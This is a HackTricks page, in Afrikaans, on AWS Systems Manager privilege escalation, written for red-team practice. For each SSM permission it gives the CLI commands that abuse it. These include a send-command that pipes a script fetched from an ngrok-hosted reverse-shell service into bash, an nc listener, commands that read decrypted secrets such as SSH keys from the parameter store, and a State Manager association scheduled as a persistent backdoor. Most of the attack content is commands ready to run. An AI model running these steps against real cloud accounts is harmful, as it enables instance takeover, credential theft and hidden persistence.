AWS - SSM Privesc

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

SSM

Vir meer inligting oor SSM, sien:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

’n aanvaller met die toestemming ssm:SendCommand kan kommandos op instansies uitvoer wat die Amazon SSM Agent laat loop en die IAM Role wat daarin loop kompromitteer.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

As jy hierdie tegniek gebruik om privileges te escalate binne ’n reeds gekompromitteerde EC2 instance, kan jy net die rev shell lokaal opvang met:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Potensiële impak: Direkte privesc op die EC2 IAM-rolle wat aan lopende instances met SSM Agents aangeheg is.

ssm:StartSession

’n aanvaller met die toestemming ssm:StartSession kan ’n SSH-agtige sessie op instansies begin wat die Amazon SSM Agent uitvoer en kompromitteer die IAM Role wat daarin loop.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Caution

Om ’n sessie te begin benodig jy die SessionManagerPlugin geïnstalleer: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potensiële impak: Direkte privesc na die EC2 IAM rolle wat aangeheg is aan lopende instances met SSM Agents wat aan die gang is.

Privesc na ECS

Wanneer ECS tasks met ExecuteCommand geaktiveer loop, kan gebruikers met genoegsame toestemmings ecs execute-command gebruik om ’n opdrag uit te voer binne die container.
Volgens the documentation word dit gedoen deur ’n veilige kanaal te skep tussen die toestel wat jy gebruik om die “exec“ opdrag te inisieer en die teiken-container met SSM Session Manager. (SSM Session Manager Plugin nodig vir dit om te werk)\ Daarom sal gebruikers met ssm:StartSession in staat wees om ’n shell binne ECS tasks te kry met daardie opsie geaktiveer deur net die volgende te hardloop:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potensiële impak: Direkte privesc na die ECSIAM roles wat aan lopende tasks met ExecuteCommand geaktiveer is.

ssm:ResumeSession

’n aanvaller met die toestemming ssm:ResumeSession kan her-begin ’n SSH-agtige sessie in instances wat die Amazon SSM Agent uitvoer met ’n verbroke SSM session state en kompromitteer die IAM Role wat daarin loop.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Potensiële impak: Direkte privesc na die EC2 IAM-rolle wat aangeheg is aan lopende instansies met SSM Agents wat hardloop en ontkoppelde sessies.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

’n Aanvaller met die genoemde permissies sal die vermoë hê om die SSM parameters te lys en hulle in clear-text te lees. In hierdie parameters kan jy dikwels sensitiewe inligting vind soos SSH-sleutels of API-sleutels.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Potensiële impak: Vind sensitiewe inligting binne die parameters.

ssm:ListCommands

An attacker met hierdie toestemming kan al die kommando’s wat gestuur is lys en hopelik sensitiewe inligting daarop vind.

aws ssm list-commands

Potensiële impak: Vind sensitiewe inligting binne die command-reëls.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

’n aanvaller met hierdie toestemmings kan alle gestuurde commands lys en die gegenereerde output lees, en hopelik sensitiewe inligting daarin vind.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Potensiële impak: Vind sensitiewe inligting in die uitset van opdragreëls.

Gebruik van ssm:CreateAssociation

’n aanvaller met die toestemming ssm:CreateAssociation kan ’n State Manager Association skep om opdragte outomaties uit te voer op EC2-instansies wat deur SSM bestuur word. Hierdie associations kan gekonfigureer word om op ’n vaste interval te loop, wat dit geskik maak vir backdoor-like persistence sonder interaktiewe sessies.

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

Hierdie persisteringsmetode werk solank die EC2-instansie deur Systems Manager bestuur word, die SSM agent loop, en die aanvaller toestemming het om associations te skep. Dit vereis nie interaktiewe sessies of eksplisiete ssm:SendCommand-toestemmings nie. Belangrik: Die --schedule-expression parameter (bv. rate(30 minutes)) moet AWS se minimuminterval van 30 minute respekteer. Vir onmiddellike of eenmalige uitvoering, laat --schedule-expression heeltemal weg — die association sal eenkeer uitgevoer word nadat dit geskep is.

Codebuild

Jy kan ook SSM gebruik om toegang te kry tot ’n codebuild-projek wat opgebou word:

AWS - Codebuild Privesc

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks